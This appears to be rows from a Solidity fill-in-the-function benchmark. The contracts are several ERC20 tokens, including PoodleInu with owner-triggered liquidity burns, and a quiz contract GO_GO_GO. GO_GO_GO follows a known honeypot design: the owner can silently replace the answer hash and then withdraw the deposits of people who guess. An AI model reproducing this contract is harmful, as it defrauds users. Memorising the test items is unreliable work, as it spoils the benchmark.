if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{ value: ethForDev }("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success, ) = address(marketingWallet).call{ value: address(this).balance }("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) {<FILL_FUNCTION_BODY> }
} | contract PoodleInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Poodle Inu", "Poodle") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 4;
uint256 _buyLiquidityFee = 10;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 14;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1 * 1e12 * 1e18;
//maxTransactionAmount = totalSupply * 1 / 1000; // 0.1% maxTransactionAmountTxn
maxTransactionAmount = totalSupply;
maxWallet = totalSupply; // .5% maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) {
require(newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= 0, "Cannot set maxTransactionAmount lower than 0%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{ value: ethAmount }(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{ value: ethForDev }("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success, ) = address(marketingWallet).call{ value: address(this).balance }("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
<FILL_FUNCTION>
} |
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
| function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) | function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) |
61372 | StandardToken | increaseApproval | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(now > frozenTimestamp[_from]);
require(now > frozenTimestamp[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(now > frozenTimestamp[_from]);
require(now > frozenTimestamp[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
<FILL_FUNCTION>
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} |
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
| function increaseApproval(address _spender, uint _addedValue) public returns (bool) | /**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) |
32729 | DazzioCoin | DazzioCoin | contract DazzioCoin is StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function DazzioCoin() {<FILL_FUNCTION_BODY> }
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract DazzioCoin is StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
<FILL_FUNCTION>
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
balances[msg.sender] = 5000000000000000000000000; // Total supply goes to the contract creator
totalSupply = 5000000000000000000000000; // Total token supply
name = "DazzioCoin"; // Token display name
decimals = 18;
symbol = "DAZZ"; // Token symbol
unitsOneEthCanBuy = 1000; // Tokens per ETH
fundsWallet = msg.sender; // ETH goes to the contract address
| function DazzioCoin() | function DazzioCoin() |
77040 | FreezableToken | enableTransfers | contract FreezableToken is ERC20, Ownable {
event TransfersEnabled();
bool public allowTransfers = false;
/**
* @dev Checks whether it can transfer or otherwise throws.
*/
modifier canTransfer() {
require(allowTransfers || msg.sender == owner);
_;
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
*/
function enableTransfers() public ownerOnly {<FILL_FUNCTION_BODY> }
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param to The address that will receive the tokens.
* @param value The amount of tokens to be transferred.
*/
function transfer(address to, uint256 value) public canTransfer returns (bool) {
return super.transfer(to, value);
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param from The address that will send the tokens.
* @param to The address that will receive the tokens.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value) public canTransfer returns (bool) {
return super.transferFrom(from, to, value);
}
} | contract FreezableToken is ERC20, Ownable {
event TransfersEnabled();
bool public allowTransfers = false;
/**
* @dev Checks whether it can transfer or otherwise throws.
*/
modifier canTransfer() {
require(allowTransfers || msg.sender == owner);
_;
}
<FILL_FUNCTION>
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param to The address that will receive the tokens.
* @param value The amount of tokens to be transferred.
*/
function transfer(address to, uint256 value) public canTransfer returns (bool) {
return super.transfer(to, value);
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param from The address that will send the tokens.
* @param to The address that will receive the tokens.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value) public canTransfer returns (bool) {
return super.transferFrom(from, to, value);
}
} |
allowTransfers = true;
emit TransfersEnabled();
| function enableTransfers() public ownerOnly | /**
* @dev Checks modifier and allows transfer if tokens are not locked.
*/
function enableTransfers() public ownerOnly |
7127 | GO_GO_GO | Try | contract GO_GO_GO
{
function Try(string _response) external payable {<FILL_FUNCTION_BODY> }
string public question;
address questionSender;
bytes32 responseHash;
function set_game(string _question,string _response) public payable {
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} | contract GO_GO_GO
{
<FILL_FUNCTION>
string public question;
address questionSender;
bytes32 responseHash;
function set_game(string _question,string _response) public payable {
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} |
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
| function Try(string _response) external payable | function Try(string _response) external payable |
9955 | ET | transferFrom | contract ET is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "Exchange Token";
name = "ET";
decimals = 8;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
